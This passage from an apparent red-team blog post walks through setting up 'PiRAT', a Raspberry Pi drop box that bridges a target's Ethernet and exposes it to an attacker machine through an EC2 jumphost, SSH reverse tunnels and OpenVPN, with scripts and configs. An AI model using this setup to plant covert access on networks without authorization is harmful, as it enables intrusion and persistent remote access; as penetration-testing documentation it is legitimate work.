Password: ********* Tear Down Script\nWhen the OpenVPN server process is stopped, the network bridge is not automatically shut down as well. As the bridge was created before OpenVPN itself was started, the bridge persists until it is torn down manually. The following commands stop and remove the bridge created with the pirat-start-bridge script.\nCreate a new file called pirat-bridge-stop.sh\npi@raspberrypi:~ $ touch pirat-bridge-stop.sh Paste the following into the shell script:\n#!/bin/bash ifconfig br0 down brctl delif br0 eth0 brctl delif br0 tap0 brctl delbr br0 openvpn --rmtun --dev tap0 Make the script executable:\npi@raspberrypi:~ $ chmod +x pirat-bridge-stop.sh The rpi (PiRAT) configuration is now complete.\nJumphost (EC2 VPS) Config # Spin up a new aws ec2 instance (or whatever hosting provider you use). Assign a keypair to the host in aws and download the private key (.pem format usually from aws).\nssh into the jumphost. phish@attacker $ ssh -i ~/.ssh/jumphost.pem -p 22 ubuntu@54.66.199.59 It is recommended to harden the ssh config of the jumphost (as it is publicly exposed on the internet) - disable password-based auth etc.. Apart from regular ssh hardening, ensure that fail2ban is setup / configured.\nTo allow the rpi (PiRAT) to connect to our jumphost, we need to copy over its ssh public key into the authorized_keys file on the jumphost. Use ssh-copy or scp to copy the public key of the rpi to the jumphost.\nubuntu@jumphost:~$ cat ~/.ssh/authorized_keys ssh-ed25519 ..public-key-contents-here.. jumphost ssh-ed25519 ..public-key-contents-here.. pi@raspberrypi Attacker Machine Config # Add an entry to ~/.ssh/config/ to connect to the rpi (PiRAT) via the jumphost.\nHost pirat-via-jumphost User pi IdentityFile ~/.ssh/pi_rat/id_ed25519 ProxyCommand ssh -i ~/.ssh/pi_rat/jumphost.pem -W localhost:2020 -p 443 ubuntu@jumphost LocalForward 1194 127.0.0.1:1194 Add a hosts entry for jumphost in the /etc/hosts file:\n127.0.0.1 localhost 255.255.255.255 broadcasthost ::1 localhost 13.210.113.204 jumphost Test that ssh works from your attacker machine to the rpi via jumphost.\nphish@attacker:~ $ ssh pirat-via-jumphost Host key fingerprint is SHA256: ... +---[RSA 2048]----+ | ...| | = o.| | o /.=| | . . = /%| | S o . BE@| | . *o*.| | o.=..| | . . .o| | .o=B*| +----[SHA256]-----+ Host key fingerprint is SHA256: ... +---[RSA 2048]----+ | +o| | E| | .| | o ..o . | | =S. +o o | | . o ..oooo . | | o .++.+o+ .o | | +..X+.Ooo* | | oB==+.== . | +----[SHA256]-----+ pi@raspberrypi:~ $ OpenVPN Client Configuration File\nThis is the configuration file for used by the OpenVPN client.\nproto tcp port 1194 dev tap client remote localhost nobind remote-cert-tls server tls-auth /Users/dunderhay/Desktop/pirat_vpn/ta.key 1 ca /Users/dunderhay/Desktop/pirat_vpn/ca.crt cert /Users/dunderhay/Desktop/pirat_vpn/client1.crt key /Users/dunderhay/Desktop/pirat_vpn/client1.key Operating PiRAT # Connect to PiRAT via the wifi management access point.\nOnce PiRAT has booted, you should see a new AP called PiRAT (unless you have changed the name during setup).\nConnect to the AP with the wifi password you configured. Once connected to the device, SSH into PiRAT so you can manage it.\nThe eth0 adapter should have received an IP address if a DHCP server is present and configured to hand out addresses.\nNext we create the network bridge.\nphish@attacker:~ $ ssh -i ~/.ssh/pi_rat/id_ed25519 -p 2020 pi@172.16.66.1 Creating the network bridge\nWe simply need to run the pirat-bridge-start.sh bash script created early on PiRAT (server-side) to create the network bridge. This will create the following interfaces:\nInterface Name Ethernet Interface eth0 Virtual Bridge Interface br0 Virtual TAP Interface tap0 pi@raspberrypi:~ $ sudo ./pirat-bridge-start.sh Establish SSH VPN tunnel connection with jumphost.\npi@raspberrypi:~ $ sudo systemctl start autossh-vpn-tunnel.service Start the OpenVPN server on PiRAT.\npi@raspberrypi:~ $ sudo systemctl start openvpn-server@pirat-server SSH to pirat-via-jumphost. This will forward the OpenVPN default port 1194 and make it available on the attackers machine on localhost:1194.\nphish@attacker:~ $ ssh pirat-via-jumphost Disconnect from the Management interface\nSimply disconnect from the PiRAT AP.\nConnect the OpenVPN client\nOn MacOS I use Tunnelblick, which is a free open source OpenVPN client.\nImport the OpenVPN client configuration file created earlier.\nRemoving the network bridge\nIf the bridge is no longer needed, it is best to remove the network bridge br0 and the persistent tap0 interfaces:\npi@raspberrypi:~ $ sudo ./pirat-bridge-stop.sh ","date":"23 August 2018","permalink":"/posts/physec/remotebox/","section":"Posts","summary":"Creating a remote access drop box for red teaming","title":"PiRAT - Remote Drop Box"},{"content":"","date":"23 August 2018","permalink":"/tags/remote-access-tool/","section":"Tags","summary":"","title":"remote access tool"},{"content":"","date":"1 January 0001","permalink":"/authors/","section":"Authors","summary":"","title":"Authors"}]